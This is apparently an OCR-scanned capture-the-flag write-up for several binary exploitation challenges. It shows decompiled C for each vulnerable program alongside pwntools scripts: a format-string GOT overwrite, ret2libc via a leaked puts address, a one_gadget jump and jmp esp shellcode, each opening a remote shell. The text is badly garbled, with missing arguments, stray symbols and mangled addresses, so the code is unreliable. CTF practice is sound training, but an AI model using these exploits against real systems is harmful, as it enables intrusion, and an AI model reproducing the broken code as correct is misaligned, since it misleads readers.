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101 inndy_echo
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int __cdecl _ _noreturn main(int argc, const char **argv.
{
char s[256]; // [esp+Ch] [eb

10Ch] BYREF
unsigned int v4; // [esp+l@ [eb

p-Ch]

1]

v4d = _ readgsdword(@xl4u);
setvbuf(stdin, @, 2, @);
setvbuf(stdout, @, 2, 9);
do
{
fgets(s, 256, stdin);
printf(s);
¥
while ( strcmp(s, "exit\n") );
system("echo Goodbye");
exit(e);
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s 7.
exp

from pwn import

r remote( ,28990)
elf

elf.got|
elf.sym[

payload = fmtstr_payload(7,{printf_got:system_addr})

r.sendline(payload)

payload

r.sendline(payload)

r.interactive()
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getflag

int getflag()

{
char s[120]; // [esp+14h] [ebp-84h] BYREF
FILE *stream; // [esp+8Ch] [ebp-Ch]
puts("Yeah, you got it...");
stream = fopen("/home/flag", "r");
if ( lstream )

perror("/home/flag");

fgets(s, 120, stream);
puts(s);
fclose(stream);
return 1;
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int getfruit()

{
char v1[164]; // [esp+14h] [ebp-A4h] BYREF
fflush(stdout);
printf("Please input the name of fruit:");
__1s0c99_scanf("%s", vl1);
return printf("oh,%s...\n", v1);

}
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from pwn import

remote( ,29485)

elf.plt[
elf.got|

main elf.symbols|[

getfruit_addr = 0x08048624
payload oxad p32(main) p32(plt_puts) p32(main) p32(got_puts)
r.recvuntil( )

.sendline(

.recvuntil(

.sendline(payload)

real_puts u32(r.recvuntil( )[-4:].1just(4,

libc_base real_puts libc.sym[
libc_base + libc.sym|[
libc_base libc.search( ). @)
oxad p32(main) p32(system) p32(main) p32(binsh)

.recvuntil( )
.sendline(
.recvuntil(
.sendline(payload)
.interactive()
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int _ _cdecl main(int argc, const char **argv, const ¢

{
__inte4a (*w4)(void); // [rsp+8h] [rbp-8h] BYREF

setbuf(stdout, OLL);

puts("Read location?");
__iso0c99_scanf("%1d", &v4);

printf("Value: ©x%@161x\n", *(_QWORD *)v4);
puts("Jump location?");
__iso0c99_scanf("%1d", &v4);

puts("Good luck!");

return v4a();
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from pwn import

elf = ELF( )

r remote( ,27030)
puts_got elf.got|[ ]

libc ELF( )

one_gadget 0x45216

r.sendlineafter( c (puts_got))

(r.recvuntil( ),16)

libc_base puts_addr libc.symbols|

print (libc_base)

one_gadget libc_base one_gadget

r.sendline( (one_gadget))

r.interactive()
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cial” dLLO% ), // LESPTOI] [SUPTLIYN] DIRCD
char v5[256]; // [esp+48h] [ebp-154h] BYREF
char s[e4]; // [esp+ldoh] [ebp-54h] BYREF
FILE "SCream; 77 lccprioon, leop 1o

char *v8; // [esp+184h] [ebp-16h]

_gid_t v9; // [esp+188h] [ebp-Ch]

int *v1@; // [esp+18Ch] [ebp-8h]

vlie = &argc;
setvbuf(stdout, ©, 2, @);
v9 = getegid();
setresgid(ve, v9, v9);
memset(s, @, sizeof(s));
memset(v5, @, sizeof(vs));
memset(sl, @, sizeof(sl));
puts("What is your name?");
fgets(vs, 256, stdin);
v8 = strchr(vs, 10);
if (v8)
*y8 = 8;
strcat(vs, ",\nPlease Enter the Password.");
stream = fopen("password.txt", "r");
if ( !stream )
{
puts(
"Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
exit(@);
¥

fgets(s, 64, stream);
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from pwn import

context.log level
elf ELF( )

remote(

ELF(
payload (ox100
.sendlineafter(
.recv()

.sendline(

.interactive()
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, payload)
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.text:08048504 jmp esp
.text:08048506 ; -------------------------------o--
.text:88048586 retn
¢ 7 —/Njmp esp

int vul()
{

char s[32]; // [esp+18h] [ebp-2@h] BYREF

puts ( " \[‘1======================II } H

puts("\nWelcome to X-CTF 2016!");

puts ( " \[‘1======================II },

puts("What's your name?");

fflush(stdout);

fgets(s, 50, stdin);
printf(“Hello %s.", s);
fflush(stdout);

return 1;
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shellcode=asm (shellcode)

TS EHE . REjmp esp, 7EIR[BIHLEE TS F{sub esp 0x28, call esp}, it i 1 -



exp

from pwn import

context.log level

remote( ,29445)

0x8048504

asm(shellcode)

payload.ljust(36,
p32(jmp_esp)
asm(

r.sendlineafter( , payload)

r.interactive()
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